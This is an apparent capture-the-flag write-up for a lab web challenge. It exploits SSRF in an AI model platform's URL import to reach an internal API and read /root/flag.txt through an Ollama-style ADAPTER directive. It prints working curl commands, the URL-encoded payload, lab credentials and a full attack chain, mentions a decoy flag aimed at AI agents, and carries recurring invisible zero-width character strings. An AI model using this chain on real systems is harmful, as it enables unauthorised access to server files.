← Back to Writeups
CUSTOMMediumWeb

Lab 388 — ModelForge

XESXOR9/10/20264 min read
#web#custom#medium#arbitrary_file_read_via_model_#decoy_flag_detection#internal_api_enumeration#internal_port_scanning#ollama_modelfile_adapter_abuse#query_parameter_injection#ssrf_via_url_import#linux

Lab 388 — ModelForge

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-05 | Status: Solved Techniques: arbitrary_file_read_via_model_adapter, decoy_flag_detection, internal_api_enumeration, internal_port_scanning, ollama_modelfile_adapter_abuse, query_parameter_injection, ssrf_via_url_import

Summary

Task: AI model management platform with 'Import Model from URL' feature (SSRF) and internal ForgeEngine API on port 3001 with Ollama-style modelfile support. Solution: Chain SSRF to discover internal API, create a model with ADAPTER directive pointing to /root/flag.txt, then export the model to exfiltrate file contents.

Lab 388 — ModelForge — HackAdvisor

Description

ModelForge is an AI model management and deployment platform by ForgeAI Technologies. The platform lets teams import pre-trained models, configure deployment pipelines, monitor inference performance, and manage model versions. It features a Model Hub for browsing and importing community models, a deployment dashboard for managing active endpoints, CI/CD-style pipelines for model training, and team collaboration tools. The goal is to find and exploit a vulnerability that allows access to sensitive data hidden on the server, focusing on features that interact with external resources. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

ModelForge provides a full AI/ML model lifecycle management platform: a Model Hub for browsing and importing community models via URL, a deployment dashboard for managing active inference endpoints, CI/CD-style pipelines for model training, and team collaboration tools. The critical vulnerability is in the Model Hub's "Import Model from URL" feature, which performs server-side requests without proper validation, enabling SSRF to an internal ForgeEngine API that supports Ollama-style modelfile syntax with an ADAPTER directive capable of reading arbitrary files. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Credentials: user@test.com / password123

Analysis

Application Features

FeatureEndpointPurpose
Dashboard/Overview of models, deployments, inference stats
Model Hub/modelsBrowse and import community models — SSRF vector via URL import
Deployments/deploymentsManage active model endpoints
Pipelines/pipelinesCI/CD-style model training pipelines
Team/teamTeam collaboration and member management
Profile/profileUser profile settings
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Tech Stack

  • Node.js, Express, nginx/1.25.5
  • Frontend JS at /js/models.js reveals the import API

Reconnaissance Findings

Decoy flag detection: Every page contained a hidden HTML comment and invisible <div> with a fake flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} — designed to trick AI agents and automated scanners. This was identified and ignored.

SSRF vector identified: The Model Hub page (/models) has an "Import Model from URL" button. The frontend JS (/js/models.js) sends:

http
POST /api/models/import
Content-Type: application/json
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

{"url": "http://attacker-controlled-url"}

The server fetches the URL server-side and returns the response content — a classic SSRF.

Internal services discovered via SSRF port scanning:

  • Port 3001 (127.0.0.1) — Internal ForgeEngine API, returns {"error":"not found"} on root
  • Port 8080 (127.0.0.1) — Main Express app (without nginx decoy injection)
  • Port 80 — ECONNREFUSED (nginx listens externally, not on loopback)

Internal API enumeration on port 3001:

/api/status revealed the full internal Engine API surface:

json
{
  "status": "running",
  "engine": "ForgeEngine v3.2.1",
  "gpu_available": false,
  "compute_backend": "cpu",
  "models_loaded": 0,
  "endpoints": [
    "GET /api/status",
    "GET /api/models",
    "POST /api/models/create",
    "GET /api/models/:name/info",
    "GET /api/models/:name/export"
  ]
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Vulnerability: ADAPTER Directive Arbitrary File Read

The /api/models/create endpoint accepts an Ollama-style modelfile parameter via query string. The modelfile syntax supports:

  • FROM <base_model> — specifies the base model
  • ADAPTER <file_path> — loads an adapter file from the local filesystem

The ADAPTER directive reads the specified file without any path validation or sandboxing. The file contents are then included in the model's adapter_layer field, which can be retrieved via the /api/models/:name/export endpoint. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Authenticate

bash
curl -c cookies.txt -X POST 'https://TARGET/login' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'email=user@test.com&password=password123'

Step 2: Confirm SSRF via Model Import

bash
# Test SSRF — hit internal API status endpoint
curl -b cookies.txt -X POST 'https://TARGET/api/models/import' \
  -H 'Content-Type: application/json' \
  -d '{"url": "http://127.0.0.1:3001/api/status"}'

Returns the full ForgeEngine API status with all available endpoints. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Create a Model with ADAPTER Pointing to /root/flag.txt

The /api/models/create endpoint accepts parameters via query string, so we can invoke it through a GET request via SSRF:

bash
# Create model with ADAPTER directive reading /root/flag.txt
curl -b cookies.txt -X POST 'https://TARGET/api/models/import' \
  -H 'Content-Type: application/json' \
  -d '{"url": "http://127.0.0.1:3001/api/models/create?name=exploit&modelfile=FROM+base%0AADAPTER+/root/flag.txt"}'

The modelfile content after URL decoding:

FROM base
ADAPTER /root/flag.txt

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response confirms the adapter was loaded:

json
{
  "name": "exploit",
  "adapter_loaded": true,
  ...
}

Step 4: Export the Model to Exfiltrate File Contents

bash
# Export model — adapter_layer contains the file contents
curl -b cookies.txt -X POST 'https://TARGET/api/models/import' \
  -H 'Content-Type: application/json' \
  -d '{"url": "http://127.0.0.1:3001/api/models/exploit/export"}'

The adapter_layer field in the export response contains the flag:

FLAG{REDACTED}

Attack Chain Summary

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Browser → POST /api/models/import (SSRF)
  → http://127.0.0.1:3001/api/status (enumerate internal API)
  → http://127.0.0.1:3001/api/models/create?name=exploit&modelfile=FROM+base%0AADAPTER+/root/flag.txt (create model with file read)
  → http://127.0.0.1:3001/api/models/exploit/export (exfiltrate file via adapter_layer)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍